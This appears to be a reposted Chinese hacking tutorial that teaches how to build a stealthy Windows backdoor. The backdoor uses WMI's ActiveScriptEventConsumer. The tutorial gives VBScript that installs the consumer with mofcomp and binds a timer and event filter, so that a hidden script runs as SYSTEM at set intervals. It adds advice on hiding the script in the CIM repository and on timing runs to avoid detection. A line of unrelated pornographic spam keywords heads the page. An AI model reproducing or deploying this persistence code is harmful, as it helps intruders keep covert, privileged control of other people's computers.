欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用WMI打造完美三無后門(scrcons.exe)

  發(fā)布時(shí)間:2013-05-16 18:17:29   作者:佚名   我要評論
ASEC是WMI中的一個(gè)標(biāo)準(zhǔn)永久事件消費(fèi)者。它的作用是當(dāng)與其綁定的一個(gè)事件到達(dá)時(shí),可以執(zhí)行一段預(yù)先設(shè)定好的JS/VBS腳本
來源:菠蘿的菠蘿格

Welcome!各位ScriptKid,歡迎來到腳本世界。

今天忙了一天,比較累。不廢話那么多了,切入正題。

這個(gè)“三無”后門的核心就是WMI中的永久事件消費(fèi)者ActiveScriptEventConsumer(以下簡稱ASEC)。WMI中有許多這 類的事件消費(fèi)者,簡單的來說,當(dāng)與其綁定的事件到達(dá)時(shí),消費(fèi)者就會(huì)被觸發(fā)執(zhí)行預(yù)先定義好的功能。例如可以用來執(zhí)行二進(jìn)制程序的 CommandLineEventConsumer等等

ASEC是WMI中的一個(gè)標(biāo)準(zhǔn)永久事件消費(fèi)者。它的作用是當(dāng)與其綁定的一個(gè)事件到達(dá)時(shí),可以執(zhí)行一段預(yù)先設(shè)定好的JS/VBS腳本。

先來看一下其原型:

復(fù)制代碼
代碼如下:

class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費(fèi)者的CreatorSID 只讀
uint32 KillTimeout = 0; //腳本允許被執(zhí)行的時(shí)間 默認(rèn)為0,腳本不會(huì)被終止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定義的事件消費(fèi)者的名字。
string ScriptingEngine; //用于解釋腳本的腳本引擎。VBScript或者JScript
string ScriptFileName; //如果你想從一個(gè)文件里面讀取想執(zhí)行的腳本的話,寫上這里吧。
string ScriptText; //用于執(zhí)行的腳本代碼。與ScriptFileName不共戴天。有你沒我,有我沒你
};

ASEC的安裝

對于XP以后的系統(tǒng)來說,ASEC已經(jīng)默認(rèn)安裝到了root\subscription名稱空間。我們可以直接調(diào)用。2000自帶有ASEC的 mof文件,但是沒有默認(rèn)安裝,需要我們自己安裝。另外由于大部分的事件都是在root\cimv2里產(chǎn)生,所以如果你想直接捕獲一些系統(tǒng)事件作為觸發(fā)器 的話,還得在其他的名稱空間中安裝ASEC。來看一下在2000/XP/Vista下安裝ASEC到root\cimv2的代碼。

復(fù)制代碼
代碼如下:

Function InstallASECForWin2K ’安裝ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換默認(rèn)的名稱空間
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安裝ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接運(yùn)行安裝即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安裝ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要?jiǎng)h除autorecover,否則安裝出錯(cuò)
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function

再來看一個(gè)綁定事件和ASEC的實(shí)例。


復(fù)制代碼
代碼如下:

Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間
TrojanName="ScriptKids" //自定義的消費(fèi)者名字,也就是你的后門的名字
TrojanRunTimer=30000 //自定義的腳本運(yùn)行間隔
strtxt="" //自定義的腳本內(nèi)容。為了隱蔽我們就不用scriptfilename了。會(huì)被Windows編碼后寫入CIM存儲(chǔ)庫
’配置事件消費(fèi)者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置計(jì)時(shí)器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件過濾器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’綁定消費(fèi)者和過濾器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function


以上代碼的含義就是當(dāng)我們自定義的一個(gè)計(jì)時(shí)器事件發(fā)生時(shí),會(huì)被我們所配置的事件過濾器捕獲到,并觸發(fā)與過濾器綁定的消費(fèi)者,也就是我們自定義了腳本的ASEC。達(dá)到我們每隔30秒執(zhí)行一次我們自定義的腳本的目的。很簡單吧:)

最后要說的是,我們自定義的腳本運(yùn)行時(shí),是由系統(tǒng)自帶的scrcons.exe作為腳本宿主進(jìn)行解析,而scrcons.exe是由系統(tǒng)以 SYSTEM權(quán)限啟動(dòng)的,也就是說,我們的腳本是以SYSTEM權(quán)限執(zhí)行,并且其所創(chuàng)建的任意進(jìn)程都會(huì)繼承SYSTEM權(quán)限。美中不足的就是,每當(dāng)腳本執(zhí) 行時(shí),會(huì)平白多出一個(gè)scrcons.exe的系統(tǒng)進(jìn)程。這也是這個(gè)腳本后門目前最容易被發(fā)現(xiàn)的一個(gè)弱點(diǎn)。不過,當(dāng)這個(gè)腳本24小時(shí)才運(yùn)行一次時(shí),有多少 人會(huì)注意到呢?

相關(guān)文章

最新評論